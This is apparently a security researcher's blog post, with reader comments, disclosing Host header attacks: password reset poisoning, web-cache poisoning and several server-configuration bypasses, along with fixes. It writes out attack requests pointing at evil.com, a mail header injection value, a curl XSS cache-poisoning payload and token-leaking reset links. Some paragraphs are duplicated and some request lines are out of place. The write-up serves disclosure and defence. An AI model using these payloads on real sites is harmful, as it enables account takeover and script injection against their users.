Password reset and web-cache poisoning
(And a little surprise in RFC-2616)
Introduction
How does a deployable web-application know where it is? Creating a trustworthy absolute URI is trickier than it sounds. Developers often resort to the exceedingly untrustworthy HTTP Host header (_SERVER["HTTP_HOST"] in PHP). Even otherwise-secure applications trust this value enough to write it to the page without HTML-encoding it with code equivalent to:
<link href="http://_SERVER['HOST']" (Joomla)
...and append secret keys and tokens to links containing it:
<a href="http://_SERVER['HOST']?token=topsecret"> (Django, Gallery, others)
....and even directly import scripts from it:
<script src="http://_SERVER['HOST']/misc/jquery.js?v=1.4.4"> (Various)
There are two main ways to exploit this trust in regular web applications. The first approach is web-cache poisoning; manipulating caching systems into storing a page generated with a malicious Host and serving it to others. The second technique abuses alternative channels like password reset emails where the poisoned content is delivered directly to the target. In this post I'll look at how to exploit each of these in the presence of 'secured' server configurations, and how to successfully secure applications and servers.
Password reset poisoning
Popular photo-album platform Gallery uses a common approach to forgotten password functionality. When a user requests a password reset it generates a (now) random key:
Places it in a link to the site:
and emails to the address on record for that user. [Full code] When the user visits the link, the presence of the key proves that they can read content sent to the email address, and thus must be the rightful owner of the account.
The vulnerability was that url::abs_site used the Host header provided by the person requesting the reset, so an attacker could trigger password reset emails poisoned with a hijacked link by tampering with their Host header:
> POST /password/reset HTTP/1.1
> Host: evil.com
> ...
> csrf=1e8d5c9bceb16667b1b330cc5fd48663&name=admin
This technique also worked on Django, Piwik and Joomla, and still works on a few other major applications, frameworks and libraries that I can't name due to an unfortunate series of mistakes on my part.
Of course, this attack will fail unless the target clicks the poisoned link in the unexpected password reset email. There are some techniques for encouraging this click but I'll leave those to your imagination.
In other cases, the Host may be URL-decoded and placed directly into the email header allowing mail header injection. Using this, attackers can easily hijack accounts by BCCing password reset emails to themselves - Mozilla Persona had an issue somewhat like this, back in alpha. Even if the application's mailer ignores attempts to BCC other email addresses directly, it's often possible to bounce the email to another address by injecting \r\nReturn-To: attacker@evil.com followed by an attachment engineered to trigger a bounce, like a zip bomb.
Cache poisoning
Web-cache poisoning using the Host header was first raised as a potential attack vector by Carlos Beuno in 2008. 5 years later there's no shortage of sites implicitly trusting the host header so I'll focus on the practicalities of poisoning caches. Such attacks are often difficult as all modern standalone caches are Host-aware; they will never assume that the following two requests reference the same resource:
> GET /index.html HTTP/1.1 > GET /index.html HTTP/1.1
> Host: example.com > Host: evil.com
So, to persuade a cache to serve our poisoned response to someone else we need to create a disconnect between the host header the cache sees, and the host header the application sees. In the case of the popular caching solution Varnish, this can be achieved using duplicate Host headers. Varnish uses the first host header it sees to identify the request, but Apache concatenates all host headers present and Nginx uses the last host header[1]. This means that you can poison a Varnish cache with URLs pointing at evil.com by making the following request:
> GET /index.html HTTP/1.1 > GET /index.html HTTP/1.1
> Host: example.com > Host: evil.com
So, to persuade a cache to serve our poisoned response to someone else we need to create a disconnect between the host header the cache sees, and the host header the application sees. In the case of the popular caching solution Varnish, this can be achieved using duplicate Host headers. Varnish uses the first host header it sees to identify the request, but Apache concatenates all host headers present and Nginx uses the last host header[1]. This means that you can poison a Varnish cache with URLs pointing at evil.com by making the following request:
> GET / HTTP/1.1
> Host: example.com
> Host: evil.com
curl -H "Host: cow\"onerror='alert(1)'rel='stylesheet'" http://example.com/ | fgrep cow\"
This will create the following request:
> GET / HTTP/1.1
> Host: cow"onerror='alert(1)'rel='stylesheet'
The response should show a poisoned <link> element:
<link href="http://cow"onerror='alert(1)'rel='stylesheet'/" rel="canonical"/>To verify that the cache has been poisoned, just load the homepage in a browser and observe the popup.
'Secured' configurations
Sometimes it is trivial. If Apache receives an unrecognized Host header, it passes it to the first virtual host defined in httpd.conf. As such, it's possible to pass requests with arbitrary host headers directly to a sizable number of applications. Django was aware of this default-vhost risk and responded by advising that users create a dummy default-vhost to act as a catchall for requests with unexpected Host headers, ensuring that Django applications never got passed requests with unexpected Host headers.
The first bypass for this used X-Forwarded-For's friend, the X-Forwarded-Host header, which effectively overrode the Host header. Django was aware of the cache-poisoning risk and fixed this issue in September 2011 by disabling support for the X-Forwarded-Host header by default. Mozilla neglected to update addons.mozilla.org, which I discovered in April 2012 with the following request:
> POST /en-US/firefox/user/pwreset HTTP/1.1> Host: addons.mozilla.org
> X-Forwarded-Host: evil.com
Even patched Django installations were still vulnerable to attack. Webservers allow a port to be specified in the Host header, but ignore it for the purpose of deciding which virtual host to pass the request to. This is simple to exploit using the ever-useful http://username:password@domain.com syntax:
> POST /en-US/firefox/user/pwreset HTTP/1.1> Host: addons.mozilla.org:@passwordreset.net
This resulted in the following (admittedly suspicious) password reset link:
https://addons.mozilla.org:@passwordreset.net/users/pwreset/3f6hp/3ab-9ae3db614fc0d0d036d4
If you click it, you'll notice that your browser sends the key to passwordreset.net before creating the suspicious URL popup. Django released a patch for this issue shortly after I reported it: https://www.djangoproject.com/weblog/2012/oct/17/security/
Unfortunately, Django's patch simply used a blacklist to filter @ and a few other characters. As the password reset email is sent in plaintext rather than HTML, a space breaks the URL into two separate links:
> POST /en-US/firefox/users/pwreset HTTP/1.1Django's followup patch ensured that the port specification in the Host header could only contain numbers, preventing the port-based attack entirely. However, the arguably ultimate authority on virtual hosting, RFC2616, has the following to say:
> Host: addons.mozilla.org: www.securepasswordreset.com
5.2 The Resource Identified by a RequestThe result? On Apache and Nginx (and all compliant servers) it's possible to route requests with arbitrary host headers to any application present by using an absolute URI:
[...]
If Request-URI is an absoluteURI, the host is part of the Request-URI. Any Host header field value in the request MUST be ignored.
> POST https://addons.mozilla.org/en-US/firefox/users/pwreset HTTP/1.1This request results in a SERVER_NAME of addons.mozilla.org but a HTTP['HOST'] of evil.com. Applications that use SERVER_NAME rather than HTTP['HOST'] are unaffected by this particular trick, but can still be exploited on common server configurations. See HTTP_HOST vs. SERVER_NAME for more information of the difference between these two variables. Django fixed this in February 2013 by enforcing a whitelist of allowed hosts. See the documentation for more details. However, these attack techniques still work fine on many other web applications.
> Host: evil.com
Securing servers
A patch for Varnish should be released shortly. As a workaround until then, you can add the following to the config file:
import std;
sub vcl_recv {
std.collect(req.http.host);
}
Securing applications
Further research
- More effective / less inconvenient fixes
- Automated detection
- Exploiting wildcard whitelists with XSS & window.history
- Exploiting multipart password reset emails by predicting boundaries
- Better cache fuzzing (trailing Host headers?)
Thanks to Mozilla for funding this research via their bug-bounty program, Varnish for the handy workaround, and the teams behind Django, Gallery, and Joomla for their speedy patches.
If you're interested in automated detection of this issue, check out the ActiveScan++ plugin I made for Burp Suite. (Disclaimer: I work for PortSwigger). For a discussion of how this extension works, and a demo of web-cache poisoning against Typo3, see the following video from OWASP AppSec EU: ActiveScan++: Augmenting manual testing with attack proxy plugins.
Feel free to drop a comment, email or DM me if you have any observations or queries.
Brilliant post on how to exploit host header.
ReplyDeleteManipulating the host header only works on dedicated servers, right? If you are hosted with multiple virtual hosts on the same machine, modifying the host header will prevent your post to be delivered to the correct web site?
ReplyDeleteGood question! Sometimes you can use an absolute URI to get your request delivered to the correct website. For example, take the shared host http://skeletonpocs.appspot.com/iframepreview
DeleteIf we set the correct Host, we get the content:
>curl -v http://skeletonpocs.appspot.com/iframepreview
> GET /iframepreview HTTP/1.1
> Host: skeletonpocs.appspot.com
[snip]
> HTTP/1.1 200 OK
> ...
> "Please carefully review the manifestos"...
If we send an incorrect Host, we get a 404:
> curl -H "Host: cow" -v http://skeletonpocs.appspot.com/iframepreview
> GET /iframepreview HTTP/1.1
> Host: cow
[snip]
> HTTP/1.1 404 Not Found
But if we send an correct absolute URI with an invalid host, we get the actual content.
I'll use telnet for this because cURL doesn't support it...
> telnet skeletonpocs.appspot.com 80
> GET http://skeletonpocs.appspot.com/iframepreview HTTP/1.1
> Host: cow
[snip]
> HTTP/1.1 200 OK
> ...
> "Please carefully review the manifestos"...
However, this technique doesn't always work because using absolute URIs in request lines breaks applications like Joomla. Hope that makes sense now.
This is beautiful and frightening. I never expected this to to be widely-exploitable in the wild, but multiple Host headers? Good job.
ReplyDelete-- Carlos Bueno
"Nginx uses the last host header"
ReplyDeleteYou're wrong. Nginx uses the first one.
I've just double checked this using PHP behind Nginx. In that configuration, HTTP_HOST is definitely set to the last host header. What setup are you using?
DeleteDear sir/mam
DeleteCan you provide a solution(in java ) for The web application should use the SERVER_NAME instead of the Host header. It is also recommended to create a dummy vhost that catches all requests with unrecognized Host headers.
Thanks
ReplyDeleteGood one!
ReplyDeleteCan u explain how a simple HTML site got attacked by this threat. And steps to avoid attacks in a non technical way
ReplyDeleteWebsites that are purely static HTML are not vulnerable to this attack.
DeleteWhy wouldnt purely static HTML pages not be vulnerable to this attack?
DeleteBecause HTML is not processed by the server. It's processed in the browser of the user using the site.
DeleteIs it possible to exploit it remotely or only from the network.
ReplyDeleteIn most cases this is remotely exploitable - anyone who can access a vulnerable website can exploit it.
DeleteHow would an attacker remotely exploit this and modify the host header of the user?
Deletedoes using https reolve the problem
ReplyDeleteNo. HTTPS is only designed to prevent middleperson attacks.
DeleteCache poisoning is a tricky attack to perform successfully, but it's easy to verify if it worked. Just request the resource you tried to poison the cache of. In this case, that would look like:
ReplyDeleteGET / HTTP/1.1
Host: www.victimsite.com
If you get a redirect to attackersite.com then the attack worked, otherwise it didn't.
Could you please tell the solution for "codeigniter" framework with apache server
ReplyDeletehow to prevent host header attack on IIS server,
ReplyDeleteHow do I implement this on IIS 7.xxx
ReplyDeleteIt gives 303 see other response and redirects :/
ReplyDeleteis it really vulnerable ??
3 or 4 years down the line? Hopefully not. YMMV, of course.
DeleteDinesh, it might be. Some sites take a POST then redirect when they process the input. So it may work.
DeleteComo hago para asp net y IIS.Ayuda por favor.
ReplyDeleteDo the steps mentioned under "Securing servers" work for Apache Tomcat servers that run java applications? Thanks
ReplyDeleteWhy do you say Django's approach is "mildly inconvenient" if we are talking about only 2 or 3 lines of code at the start of the script? Keeping in mind that it will work everywhere.
ReplyDeleteNot intended to contradict you, but I thought that was a really nice solution.
And thank you really much for this article, It was very illustrative! :)
It's mildly inconvenient because every single user that installs Django has to do it, so it makes the setup process slightly less slick.
DeleteJust awesome! Keep the good work!
ReplyDeleteTested this in Go, And glad to say that it is implemented correctly, So if you give more than 1 Host headers, It'll pick the first one.
ReplyDeletewho know how to prevent 301 redirect when use
ReplyDeletecurl -vLH 'Host: www.whitehatsec.com' http://home.com/guest/site-search-results.html?host_header=host
How would an attacker remotely exploit this and modify the host header of the user?
ReplyDeleteWhat means if it gives 301 Moved Permanently Error?
ReplyDeleteJust awesome! Keep the good work!
ReplyDeleteHow would an attacker remotely exploit this and modify the host header of the target user?
ReplyDeleteThe attacker does not need to modify the host header of the target user. The attacker modifies their own host header when requesting a password reset.
DeleteCorrect me if I’m wrong here James, but wouldn’t you be able to use a combination of host-header injection and response smuggling to steal information off the private network?
ReplyDeleteGET / HTTP/1.1 or GET http://legit.host/
Host: evil.host or legit.host or combination of SSRF’s here through @, :@, %0a%0d CRLF Splitting etc + “Cracking up the Lens” techniques?
So the idea here is to issue a single request to the server (where in fact the proxy would split these into two where the second would point to the resource residing on a private network (accessible only from the proxy - could be for example a content server in corporate architectures) the second request could be prefixed with transfer-encodinng chunking and caching the private content on publicly available page?
I'm not 100% sure what you mean, but I do something like that against New Relic in my recently published HTTP Request Smuggling research: https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn
Delete